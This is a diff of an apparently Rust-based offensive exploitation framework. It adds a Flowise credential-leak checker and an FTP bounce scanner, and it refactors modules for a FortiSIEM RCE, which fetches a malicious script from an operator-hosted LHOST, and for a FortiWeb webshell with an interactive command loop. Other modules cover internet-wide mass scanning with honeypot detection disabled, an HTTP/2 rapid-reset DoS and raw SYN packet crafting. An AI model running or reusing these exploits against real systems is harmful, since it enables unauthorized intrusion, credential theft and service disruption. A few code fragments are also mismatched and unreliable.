// Buffer is already sized IP+TCP+Payload
// We split buffer into IP and TCP parts manually because MutableX structures wrap the whole slice usually
// But pnet API is a bit specific. socket expects IP header + TCP header + Payload.
// 1. Construct TCP Header first (computationally) to compute checksum
// Note: pnet's MutableTcpPacket expects a buffer of exact size? No.
// We need to pointer arithmetic effectively.
let total_len = buffer.len();
// Slice for TCP part (IP header is first 20 bytes)
let tcp_slice = &mut buffer[IPV4_HEADER_LEN..];
{
let mut tcp_pkt = MutableTcpPacket::new(&mut tcp_buf[..tcp_header_len])
let mut tcp_pkt = MutableTcpPacket::new(tcp_slice)
.ok_or_else(|| anyhow!("Failed to create TCP packet"))?;
let seq_num: u32 = rand::rng().random();
@@ -323,41 +388,46 @@ fn send_syn_packet(
tcp_pkt.set_window(65535);
tcp_pkt.set_urgent_ptr(0);
// Checksum (without payload for header)
// Payload is already there (0s), effectively set by reuse.
// We assume buffer was init with 0s.
// If we wanted dynamic payload we'd copy it here.
// For null-byte scan, it stays 0.
// Checksum
let tcp_immutable = tcp_pkt.to_immutable();
tcp_pkt.set_checksum(tcp::ipv4_checksum(&tcp_immutable, &src_ip, &dst_ip));
let checksum = tcp::ipv4_checksum(&tcp_immutable, &src_ip, &dst_ip);
tcp_pkt.set_checksum(checksum);
}
// Copy payload after TCP header
tcp_buf[tcp_header_len..].copy_from_slice(payload);
// IP header
const IPV4_HEADER_LEN: usize = 20;
let total_len = (IPV4_HEADER_LEN + tcp_total_len) as u16;
let mut ip_buf = vec![0u8; total_len as usize];
// 2. Construct IP Header
{
let mut ip_pkt = MutableIpv4Packet::new(&mut ip_buf)
// Wrap the whole buffer for IP packet
let mut ip_pkt = MutableIpv4Packet::new(buffer)
.ok_or_else(|| anyhow!("Failed to create IP packet"))?;
let ip_id: u16 = rand::rng().random();
ip_pkt.set_version(4);
ip_pkt.set_header_length(5);
ip_pkt.set_total_length(total_len);
ip_pkt.set_total_length(total_len as u16);
ip_pkt.set_identification(ip_id);
ip_pkt.set_ttl(64);
ip_pkt.set_next_level_protocol(IpNextHeaderProtocols::Tcp);
ip_pkt.set_source(src_ip);
ip_pkt.set_destination(dst_ip);
ip_pkt.set_flags(ipv4::Ipv4Flags::DontFragment);
ip_pkt.set_payload(&tcp_buf);
// Payload for IP packet is the TCP packet we just wrote?
// MutableIpv4Packet doesn't overwrite payload unless we tell it to.
// We just set headers.
ip_pkt.set_checksum(ipv4::checksum(&ip_pkt.to_immutable()));
}
// Send
let dst_addr = SocketAddr::new(IpAddr::V4(dst_ip), 0);
let sent = socket.send_to(&ip_buf, &dst_addr.into())
// socket is Arc<Socket> but Send works on &Socket
let sent = socket.send_to(buffer, &dst_addr.into())
.context("Failed to send packet")?;
Ok(sent)
@@ -4,7 +4,7 @@ use tokio::net::TcpStream;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use std::time::Duration;
use tokio::time::Instant;
use crate::utils::{prompt_required, normalize_target, prompt_default};
use crate::utils::{prompt_required, normalize_target, prompt_port};
/// Exim ETRN SQL Injection (CVE-2025-26794)
///
@@ -15,15 +15,14 @@ pub async fn run(target: &str) -> Result<()> {
print_banner();
let raw_ip = if target.is_empty() {
prompt_required("Target IP").await?
prompt_required("Target IP")?
} else {
target.to_string()
};
let target_ip = normalize_target(&raw_ip)?;
// User requested port selection. Default is 25.
let port_str = prompt_default("Target Port", "25").await?;
let port: u16 = port_str.parse().context("Invalid port")?;
let port: u16 = prompt_port("Target Port", 25)?;
println!("{} Target: {}:{}", "[*]".blue(), target_ip, port);
@@ -0,0 +1,50 @@
use anyhow::Result;
use colored::*;
use reqwest::Client;
use std::time::Duration;
/// Flowise 1.6.5 Authentication Bypass (CVE-2024-31621)
/// Unauthenticated access to /API/V1/credentials endpoint.
///
/// Credits:
/// - Discovered by DhiyaneshDK (Nuclei Template)
const DEFAULT_TIMEOUT_SECS: u64 = 10;
pub async fn run(target: &str) -> Result<()> {
display_banner();
// Normalize target
let url = if target.starts_with("http") { target.to_string() } else { format!("http://{}", target) };
let url = url.trim_end_matches('/').to_string();
println!("[*] Target: {}", url.cyan());
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
let check_url = format!("{}/API/V1/credentials", url);
println!("[*] Checking {}...", check_url.cyan());
let resp = client.get(&check_url).send().await?;
if resp.status().is_success() {
let text = resp.text().await?;
if text.contains("credentialName") && text.contains("updatedDate") {
println!("{}", "[+] Target is VULNERABLE! Credentials exposed.".green().bold());
println!("[+] Response preview: {:.200}...", text);
} else {
println!("{}", "[-] Endpoint accessible but content doesn't match expected leak.".yellow());
}
} else {
println!("{}", "[-] Request failed or credentials protected.".red());
}
Ok(())
}
fn display_banner() {
println!("{}", "Flowise Authentication Bypass (CVE-2024-31621)".green().bold());
}
@@ -10,7 +10,7 @@ use crate::utils::escape_js_command;
use reqwest::Client;
use serde_json::json;
use std::time::Duration;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
use std::io::Write;
/// Displays module banner
fn banner() {
@@ -161,33 +161,27 @@ pub async fn run(target: &str) -> Result<()> {
let mut command = String::new();
print!("{}", "Email: ".cyan().bold());
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut email)
.await
.context("Failed to read email")?;
print!("{}", "Password: ".cyan().bold());
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut password)
.await
.context("Failed to read password")?;
print!("{}", "Command to execute: ".cyan().bold());
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut command)
.await
.context("Failed to read command")?;
let email = email.trim();
+1
View File
@@ -1,2 +1,3 @@
pub mod cve_2025_59528_flowise_rce;
pub mod cve_2024_31621;
@@ -21,7 +21,7 @@ pub async fn run(target: &str) -> Result<()> {
// Determine target URL
let raw_ip = if target.is_empty() {
prompt_required("Target IP").await?
prompt_required("Target IP")?
} else {
target.to_string()
};
@@ -16,7 +16,7 @@ pub async fn run(target: &str) -> Result<()> {
// Determine target URL
let raw_ip = if target.is_empty() {
prompt_required("Target IP").await?
prompt_required("Target IP")?
} else {
target.to_string()
};
@@ -6,7 +6,7 @@ use tokio_rustls::rustls::{ClientConfig, RootCertStore, pki_types::ServerName};
use tokio_rustls::TlsConnector;
use std::sync::Arc;
use std::time::Duration;
use crate::utils::{prompt_required, normalize_target, prompt_default};
use crate::utils::{prompt_required, normalize_target, prompt_default, prompt_port};
/// FortiSIEM Unauthenticated RCE (CVE-2025-64155)
///
@@ -20,7 +20,7 @@ pub async fn run(target: &str) -> Result<()> {
// Determine target
let raw_ip = if target.is_empty() {
prompt_required("Target IP").await?
prompt_required("Target IP")?
} else {
target.to_string()
};
@@ -35,8 +35,8 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", "It overwrites /opt/charting/redishb.sh on the target.".red());
println!("{}", "It executes a command via curl argument injection.".red());
let lhost = prompt_default("LHOST (Your IP) for payload download", "127.0.0.1").await?;
let lport = prompt_default("LPORT (Your Web Server Port)", "8000").await?;
let lhost = prompt_default("LHOST (Your IP) for payload download", "127.0.0.1")?;
let lport = prompt_port("LPORT (Your Web Server Port)", 8000)?;
let filename = "redishb.sh";
println!("{} Ensure you are hosting a malicious '{}' at http://{}:{}/{}", "[*]".yellow(), filename, lhost, lport, filename);
@@ -128,7 +128,7 @@ r#"<TEST_STORAGE type="elastic">
let domain = ServerName::try_from(target_ip.as_str())
.map(|n| n.to_owned())
.or_else(|_| ServerName::try_from("example.com").map(|n| n.to_owned()))
.unwrap();
.expect("Regex compilation failed");
let mut tls_stream = connector.connect(domain, stream).await.context("TLS handshake failed")?;
@@ -19,7 +19,7 @@ pub async fn run(target: &str) -> Result<()> {
// Determine target URL
let raw_ip = if target.is_empty() {
prompt_required("Target IP").await?
prompt_required("Target IP")?
} else {
target.to_string()
};
@@ -29,8 +29,8 @@ pub async fn run(target: &str) -> Result<()> {
println!("{} Target: {}", "[*]".blue(), base_url);
// Credentials
let username = prompt_default("Username", "admin").await?;
let password = prompt_required("Password").await?;
let username = prompt_default("Username", "admin")?;
let password = prompt_required("Password")?;
// Connect and Login (to get token/cookies)
// Note: FortiWeb login process usually involves /api/v2/token or similar
@@ -71,7 +71,7 @@ pub async fn run(target: &str) -> Result<()> {
}
// Payload
let cmd = prompt_default("Command to execute", "id").await?;
let cmd = prompt_default("Command to execute", "id")?;
// We need to inject command in `server-name` inside backticks
// Example: `id`
@@ -34,7 +34,7 @@ use tokio::sync::mpsc;
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;
use chrono::Local;
use crate::utils::{normalize_target, prompt_input};
use crate::utils::normalize_target;
const DEFAULT_TIMEOUT_SECS: u64 = 15;
const MASS_SCAN_CONCURRENCY: usize = 100;
@@ -319,6 +319,23 @@ async fn run_mass_scan() -> Result<()> {
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
// Prompt for exclusions
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
std::io::stdout().flush()?;
let mut excl_choice = String::new();
std::io::stdin().read_line(&mut excl_choice)?;
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
let mut exclusions = Vec::new();
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
}
let exclusions = Arc::new(exclusions);
// Prompt for Output File
print!("{}", "[?] Output File (default: fortiweb_hits.txt): ".cyan());
std::io::stdout().flush()?; // Use std::io for flush/read
@@ -353,14 +370,6 @@ async fn run_mass_scan() -> Result<()> {
custom_payload = custom_payload.trim().to_string();
}
let custom_payload = Arc::new(custom_payload);
let mut exclusions = Vec::new();
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
let exclusions = Arc::new(exclusions);
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
let checked = Arc::new(AtomicUsize::new(0));
@@ -396,7 +405,7 @@ async fn run_mass_scan() -> Result<()> {
});
loop {
let permit = semaphore.clone().acquire_owned().await.unwrap();
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let exc = exclusions.clone();
let chk = checked.clone();
let fnd = found.clone();
@@ -423,8 +432,18 @@ async fn run_mass_scan() -> Result<()> {
}
}
fn prompt_input_std(msg: &str) -> Result<String> {
print!("{}", msg);
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
Ok(input.trim().to_string())
}
pub async fn run(target: &str) -> Result<()> {
if target == "0.0.0.0/0" || target.is_empty() || target == "random" {
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
run_mass_scan().await
} else {
display_banner();
@@ -439,7 +458,7 @@ pub async fn run(target: &str) -> Result<()> {
println!(" {} Test SQL injection only", "3.".bold());
println!();
let choice = prompt_input("Select option [1-3]: ").await?;
let choice = prompt_input_std("Select option [1-3]: ")?;
match choice.as_str() {
"1" => {
@@ -448,7 +467,7 @@ pub async fn run(target: &str) -> Result<()> {
"{}",
"[!] WARNING: This will write files to the target system!".yellow().bold()
);
let confirm = prompt_input("Continue? [y/N]: ").await?;
let confirm = prompt_input_std("Continue? [y/N]: ")?;
if !confirm.eq_ignore_ascii_case("y") {
println!("{}", "[-] Operation cancelled.".red());
return Ok(());
@@ -472,10 +491,10 @@ pub async fn run(target: &str) -> Result<()> {
// Interactive command loop
println!();
let interactive = prompt_input("Enter interactive mode? [y/N]: ").await?;
let interactive = prompt_input_std("Enter interactive mode? [y/N]: ")?;
if interactive.eq_ignore_ascii_case("y") {
loop {
let cmd = prompt_input("cmd> ").await?;
let cmd = prompt_input_std("cmd> ")?;
if cmd.is_empty() || cmd == "exit" || cmd == "quit" {
break;
}
@@ -492,7 +511,7 @@ pub async fn run(target: &str) -> Result<()> {
"2" => {
// Direct command execution (assumes webshell already deployed)
println!();
let cmd = prompt_input("Enter command to execute: ").await?;
let cmd = prompt_input_std("Enter command to execute: ")?;
if cmd.is_empty() {
return Err(anyhow!("Command cannot be empty"));
}
+267
View File
@@ -0,0 +1,267 @@
use anyhow::{anyhow, Result};
use colored::*;
use suppaftp::tokio::AsyncFtpStream;
use suppaftp::Status;
use std::time::Duration;
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use tokio::sync::Semaphore;
use tokio::fs::OpenOptions;
use tokio::io::AsyncWriteExt;
use tokio::time::timeout;
use regex::Regex;
use crate::utils::{
prompt_existing_file, prompt_default, prompt_int_range,
load_lines
};
const DEFAULT_TIMEOUT_SECS: u64 = 8;
const CONNECT_TIMEOUT_MS: u64 = 4000;
struct FtpCreds {
ip: String,
port: u16,
user: String,
pass: String,
}
pub async fn run(target: &str) -> Result<()> {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ FTP Bounce Vulnerability Scanner ║".cyan());
println!("{}", "║ Tests for PORT command abuse (External/Internal) ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
// Interactive Mode Check
let effective_target = if target.is_empty() || target == "interactive" || target == "load" {
println!("{}", "[*] Interactive Mode".cyan());
println!("[1] Load targets from file (supporting 'IP:PORT:USER:PASS')");
println!("[2] Scan single target");
let choice = prompt_int_range("Select mode", 1, 1, 2)?;
if choice == 1 {
let f = prompt_existing_file("Path to credentials file")?;
f
} else {
let t = prompt_default("Target (IP:PORT or IP:PORT:USER:PASS)", "")?;
t
}
} else {
target.to_string()
};
// Check if target is a file or single target
let targets = if std::path::Path::new(&effective_target).is_file() {
println!("{}", format!("[!] Parsing file '{}'", effective_target).yellow());
parse_ftp_results(&effective_target).await?
} else {
// Single target handling
parse_single_target(&effective_target)?
};
if targets.is_empty() {
return Err(anyhow!("No valid targets found."));
}
println!("{}", format!("[*] Loaded {} credential/target sets.", targets.len()).green());
let concurrency = prompt_int_range("Max concurrent checks", 50, 1, 500)? as usize;
let output_file = prompt_default("Output file for vulnerabilities", "ftp_bounce_results.txt")?;
let semaphore = Arc::new(Semaphore::new(concurrency));
let stats_checked = Arc::new(AtomicUsize::new(0));
let stats_vuln = Arc::new(AtomicUsize::new(0));
let total = targets.len();
// Stats loop
let s_checked = stats_checked.clone();
let s_vuln = stats_vuln.clone();
tokio::spawn(async move {
loop {
tokio::time::sleep(Duration::from_secs(3)).await;
let checked = s_checked.load(Ordering::Relaxed);
let vuln = s_vuln.load(Ordering::Relaxed);
println!(
"[*] Progress: {}/{} checked, {} Vulnerable found",
checked, total, vuln.to_string().red().bold()
);
if checked >= total { break; }
}
});
// Run Scans
let mut tasks = Vec::new();
for target_creds in targets {
// Safe permit acquisition
let permit = match semaphore.clone().acquire_owned().await {
Ok(p) => p,
Err(_) => break, // Check if semaphore closed
};
let sc = stats_checked.clone();
let sv = stats_vuln.clone();
let of = output_file.clone();
tasks.push(tokio::spawn(async move {
if check_bounce_vulnerability(&target_creds, &of).await {
sv.fetch_add(1, Ordering::Relaxed);
}
sc.fetch_add(1, Ordering::Relaxed);
drop(permit);
}));
}
// Wait all
for t in tasks {
let _ = t.await;
}
println!("\n{}", "[*] Scan Completed.".green().bold());
println!("[+] Results saved to {}", output_file.cyan());
Ok(())
}
fn parse_single_target(raw: &str) -> Result<Vec<FtpCreds>> {
// Attempt parse as "IP:PORT:USER:PASS" (optional prefix scan)
// Regex matches 4 groups separated by colons
let re_full = Regex::new(r"(?:\[\+\] FOUND:\s*)?([^:]+):(\d+):([^:]+):(.*)$").map_err(|e| anyhow!("Regex error: {}", e))?;
if let Some(caps) = re_full.captures(raw) {
let ip = caps.get(1).map_or("", |m| m.as_str()).to_string();
let port = caps.get(2).map_or("21", |m| m.as_str()).parse().unwrap_or(21);
let user = caps.get(3).map_or("", |m| m.as_str()).to_string();
let pass = caps.get(4).map_or("", |m| m.as_str()).to_string();
return Ok(vec![FtpCreds { ip, port, user, pass }]);
}
// Fallback: Just IP or IP:PORT, assumes anonymous
let (ip, port) = if raw.matches(':').count() == 1 {
let parts: Vec<&str> = raw.split(':').collect();
let p_val = parts.get(1).unwrap_or(&"21").parse().unwrap_or(21);
(parts[0].to_string(), p_val)
} else if !raw.contains(':') {
(raw.to_string(), 21)
} else {
// Ambiguous format, possibly IPv6? Ignore for now or treat as string
(raw.to_string(), 21)
};
// If it *looks* like an IP, return default creds
if !ip.is_empty() {
return Ok(vec![FtpCreds { ip, port, user: "anonymous".to_string(), pass: "anonymous".to_string() }]);
}
Err(anyhow!("Invalid target format. Expected IP:PORT:USER:PASS or IP/IP:PORT"))
}
async fn parse_ftp_results(path: &str) -> Result<Vec<FtpCreds>> {
let lines = load_lines(path)?;
let mut creds = Vec::new();
// Standard Format: IP:PORT:USER:PASS, optionally prefixed with "[+] FOUND: "
// We allow spaces around the prefix.
let re_std = Regex::new(r"(?:\[\+\] FOUND:\s*)?([^:]+):(\d+):([^:]+):(.*)$").map_err(|e| anyhow!("Regex error: {}", e))?;
// Legacy/Old formats support (optional but good for transitions)
// IP:PORT [ANONYMOUS...]
let re_anon_old = Regex::new(r"^([^:]+):(\d+)\s+\[ANONYMOUS").map_err(|e| anyhow!("Regex error: {}", e))?;
for line in lines {
if let Some(caps) = re_std.captures(&line) {
let ip = caps.get(1).map_or("", |m| m.as_str()).to_string();
let port = caps.get(2).map_or("21", |m| m.as_str()).parse().unwrap_or(21);
let user = caps.get(3).map_or("", |m| m.as_str()).to_string();
let pass = caps.get(4).map_or("", |m| m.as_str()).to_string();
creds.push(FtpCreds { ip, port, user, pass });
} else if let Some(caps) = re_anon_old.captures(&line) {
let ip = caps.get(1).map_or("", |m| m.as_str()).to_string();
let port = caps.get(2).map_or("21", |m| m.as_str()).parse().unwrap_or(21);
creds.push(FtpCreds { ip, port, user: "anonymous".to_string(), pass: "anonymous".to_string() });
}
}
Ok(creds)
}
async fn check_bounce_vulnerability(creds: &FtpCreds, output_file: &str) -> bool {
let addr = format!("{}:{}", creds.ip, creds.port);
// Connect
let mut ftp = match timeout(Duration::from_millis(CONNECT_TIMEOUT_MS), AsyncFtpStream::connect(&addr)).await {
Ok(Ok(f)) => f,
_ => return false,
};
// Login
if ftp.login(&creds.user, &creds.pass).await.is_err() {
return false;
}
// Set Checks
let mut is_vuln = false;
let mut ext_vuln = false;
let mut int_vuln = false;
// Test 1: External Bounce (Google DNS 8.8.8.8:53)
// PORT command format: h1,h2,h3,h4,p1,p2
let ext_test = "PORT 8,8,8,8,0,53";
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), ftp.custom_command(ext_test, &[Status::CommandOk])).await {
Ok(Ok(resp)) => {
// Check for 200 OK
if (resp.status as u32) == 200 {
ext_vuln = true;
is_vuln = true;
}
},
_ => {}
}
// Test 2: Internal Bounce (Common Gateways)
// 192.168.1.1:80 => 192,168,1,1,0,80
// 10.0.0.1:80 => 10,0,0,1,0,80
// We try a few. If ANY work, we flag it.
let int_tests = vec![
"PORT 192,168,1,1,0,80",
"PORT 10,0,0,1,0,80",
"PORT 172,16,0,1,0,80",
"PORT 127,0,0,1,0,22" // Bounce to self?
];
for cmd in int_tests {
if timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), ftp.custom_command(cmd, &[Status::CommandOk])).await
.ok()
.and_then(|r| r.ok())
.map(|r| (r.status as u32) == 200)
.unwrap_or(false)
{
int_vuln = true;
is_vuln = true;
break;
}
}
let _ = ftp.quit().await;
if is_vuln {
let msg = format!(
"{} -> {}:{} [VULNERABLE] [Ext Bounce: {}] [Int Bounce: {}]",
addr, creds.user, creds.pass,
if ext_vuln { "YES".red().bold() } else { "NO".dimmed() },
if int_vuln { "YES".red().bold() } else { "NO".dimmed() }
);
println!("\r[+] Found: {}", msg);
let file_log = format!("{} -> {}:{} [VULNERABLE] [Ext Bounce: {}] [Int Bounce: {}]\n",
addr, creds.user, creds.pass,
if ext_vuln { "YES" } else { "NO" },
if int_vuln { "YES" } else { "NO" });
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(output_file).await {
let _ = file.write_all(file_log.as_bytes()).await;
}
}
is_vuln
}
+1
View File
@@ -1 +1,2 @@
pub mod pachev_ftp_path_traversal_1_0;
pub mod ftp_bounce_test;
@@ -9,7 +9,7 @@ use futures::stream::{FuturesUnordered, StreamExt};
use colored::*; // // Colorful output
use std::time::Duration;
use tokio::time::timeout;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
const MAX_CONCURRENT_TASKS: usize = 10; // // Limit concurrent scanning
const FTP_TIMEOUT_SECONDS: u64 = 10; // // Timeout per FTP connection
@@ -81,14 +81,12 @@ pub async fn run(target: &str) -> Result<()> {
let target = target.to_string(); // // Own target early to avoid lifetime issues
print!("{}", "Enter the FTP port (default 21): ".cyan().bold());
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut port_input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut port_input)
.await
.context("Failed to read port")?;
let port_input = port_input.trim();
let port = if port_input.is_empty() {
@@ -98,27 +96,23 @@ pub async fn run(target: &str) -> Result<()> {
};
print!("{}", "Do you want to use a list of IPs? (yes/no): ".cyan().bold());
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut use_list = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut use_list)
.await
.context("Failed to read list choice")?;
let use_list = use_list.trim().to_lowercase();
if use_list == "yes" || use_list == "y" {
print!("{}", "Enter path to the IP list file: ".cyan().bold());
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut path = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut path)
.await
.context("Failed to read file path")?;
let path = path.trim();
+11 -21
View File
@@ -4,7 +4,7 @@ use std::io::{BufRead, BufReader, Write};
use std::net::ToSocketAddrs;
use std::path::Path;
use std::time::{SystemTime, UNIX_EPOCH};
use tokio::io::{AsyncReadExt, AsyncWriteExt, AsyncBufReadExt};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{timeout, Duration, sleep};
use regex::Regex;
@@ -49,14 +49,12 @@ async fn get_user_config(target: &str) -> Result<ScanConfig> {
println!();
print!("{}", format!("Enter target port [default: {}]: ", config.port).green());
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut input)
.await
.context("Failed to read port input")?;
if let Ok(port) = input.trim().parse::<u16>() {
if port > 0 {
@@ -65,14 +63,12 @@ async fn get_user_config(target: &str) -> Result<ScanConfig> {
}
print!("{}", format!("Enter payload size in bytes [default: {} (16KB)]: ", config.payload_size).green());
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
input.clear();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut input)
.await
.context("Failed to read payload size input")?;
if let Ok(size) = input.trim().parse::<u16>() {
if size > 0 && size <= 0x4000 {
@@ -84,14 +80,12 @@ async fn get_user_config(target: &str) -> Result<ScanConfig> {
}
print!("{}", format!("Enter number of heartbeat attempts [default: {}]: ", config.heartbeat_attempts).green());
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
input.clear();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut input)
.await
.context("Failed to read heartbeat attempts input")?;
if let Ok(attempts) = input.trim().parse::<usize>() {
if attempts > 0 && attempts <= 20 {
@@ -104,26 +98,22 @@ async fn get_user_config(target: &str) -> Result<ScanConfig> {
if target.is_empty() {
print!("{}", "Use batch mode? (scan multiple targets from file) [y/N]: ".green());
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
input.clear();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut input)
.await
.context("Failed to read batch mode input")?;
if input.trim().eq_ignore_ascii_case("y") || input.trim().eq_ignore_ascii_case("yes") {
print!("{}", "Enter batch file path: ".green());
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
input.clear();
tokio::io::BufReader::new(tokio::io::stdin())
std::io::stdin()
.read_line(&mut input)
.await
.context("Failed to read batch file path input")?;
let batch_file = input.trim().to_string();
@@ -300,6 +300,23 @@ async fn run_mass_scan() -> Result<()> {
println!("{}", "[*] Honeypot detection: DISABLED".yellow());
println!("{}", format!("[*] Concurrency: {}", MASS_SCAN_CONCURRENCY).cyan());
// Prompt for exclusions
print!("{}", "[?] Exclude reserved/private ranges? [Y/n]: ".cyan());
io::stdout().flush()?;
let mut excl_choice = String::new();
io::stdin().read_line(&mut excl_choice)?;
let use_exclusions = !matches!(excl_choice.trim().to_lowercase().as_str(), "n" | "no");
let mut exclusions = Vec::new();
if use_exclusions {
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
}
let exclusions = Arc::new(exclusions);
// Prompt for Output File
print!("{}", "[?] Output File (default: hikvision_hits.txt): ".cyan());
io::stdout().flush()?;
@@ -332,14 +349,6 @@ async fn run_mass_scan() -> Result<()> {
custom_payload = custom_payload.trim().to_string();
}
let custom_payload = Arc::new(custom_payload);
let mut exclusions = Vec::new();
for cidr in EXCLUDED_RANGES {
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
exclusions.push(net);
}
}
let exclusions = Arc::new(exclusions);
let semaphore = Arc::new(Semaphore::new(MASS_SCAN_CONCURRENCY));
let checked = Arc::new(AtomicUsize::new(0));
@@ -375,7 +384,7 @@ async fn run_mass_scan() -> Result<()> {
});
loop {
let permit = semaphore.clone().acquire_owned().await.unwrap();
let permit = semaphore.clone().acquire_owned().await.map_err(|e| anyhow::anyhow!("Semaphore closed: {}", e))?;
let exc = exclusions.clone();
let chk = checked.clone();
let fnd = found.clone();
@@ -403,7 +412,7 @@ async fn run_mass_scan() -> Result<()> {
}
pub async fn run(target: &str) -> Result<()> {
if target == "0.0.0.0/0" || target.is_empty() || target == "random" {
if target == "0.0.0.0" || target == "0.0.0.0/0" || target.is_empty() || target == "random" {
run_mass_scan().await
} else {
display_banner();
@@ -492,11 +492,11 @@ pub async fn run(target: &str) -> Result<()> {
println!("{}", format!("[*] Target: {}:{}", host, default_port).cyan());
// Interactive prompts using shared utilities
let port = prompt_int_range("Target port", default_port as i64, 1, 65535).await? as u16;
let use_ssl = prompt_yes_no("Use SSL/TLS?", true).await?;
let num_streams = prompt_int_range("Number of streams for rapid reset test", 100, 1, 10000).await? as usize;
let delay_ms = prompt_int_range("Delay between operations (ms)", 1, 0, 1000).await? as u64;
let run_baseline = prompt_yes_no("Run baseline test first?", true).await?;
let port = prompt_int_range("Target port", default_port as i64, 1, 65535)? as u16;
let use_ssl = prompt_yes_no("Use SSL/TLS?", true)?;
let num_streams = prompt_int_range("Number of streams for rapid reset test", 100, 1, 10000)? as usize;
let delay_ms = prompt_int_range("Delay between operations (ms)", 1, 0, 1000)? as u64;
let run_baseline = prompt_yes_no("Run baseline test first?", true)?;
println!("\n{}", "=".repeat(60).cyan());
println!("{}", format!("Target: {}:{}", host, port).yellow());
@@ -511,7 +511,7 @@ pub async fn run(target: &str) -> Result<()> {
println!("Ensure you have permission to test the target system.");
println!("Unauthorized use may be illegal.\n");
if !prompt_yes_no("Do you have permission to test this system?", false).await? {
if !prompt_yes_no("Do you have permission to test this system?", false)? {
println!("{}", "Exiting. Only use this tool on systems you're authorized to test.".red());
return Ok(());
}
@@ -17,7 +17,7 @@ pub async fn run(target: &str) -> Result<()> {
print_banner();
let raw_ip = if target.is_empty() {
prompt_required("Target IP").await?
prompt_required("Target IP")?
} else {
target.to_string()
};
@@ -33,7 +33,7 @@ use tokio::time::sleep;
use reqwest::{Client};
use uuid::Uuid;
use regex::Regex;
use tokio::io::{AsyncBufReadExt, AsyncWriteExt};
use std::io::{Write, BufRead};
use crate::utils::normalize_target;
@@ -257,16 +257,16 @@ pub async fn run(args: &str) -> Result<()> {
async fn start_interactive_file_read(state: ExploitState) -> Result<()> {
println!("{}", "Press Ctrl+C to exit".cyan());
let mut stdin_reader = tokio::io::BufReader::new(tokio::io::stdin());
let stdin = std::io::stdin();
let mut stdin_reader = stdin.lock();
loop {
print!("{}", "File to download:\n> ".green().bold());
tokio::io::stdout()
std::io::stdout()
.flush()
.await
.context("Failed to flush stdout")?;
let mut input = String::new();
match stdin_reader.read_line(&mut input).await {
match stdin_reader.read_line(&mut input) {
Ok(0) => break,
Ok(_) => {
let filepath = input.trim();
+13
View File
@@ -2,6 +2,7 @@ pub mod generic;
pub mod sample_exploit;
pub mod payloadgens;
pub mod tplink;
pub mod trend_micro;
pub mod ssh;
pub mod spotube;
pub mod ftp;
@@ -14,8 +15,11 @@ pub mod zte;
pub mod ivanti;
pub mod apache_tomcat;
pub mod palo_alto;
pub mod php;
pub mod roundcube;
pub mod ruijie;
pub mod flowise;
pub mod sharepoint;
pub mod http2;
pub mod jenkins;
pub mod mongo;
@@ -27,3 +31,12 @@ pub mod fortinet;
pub mod exim;
pub mod dos;
pub mod dlink;
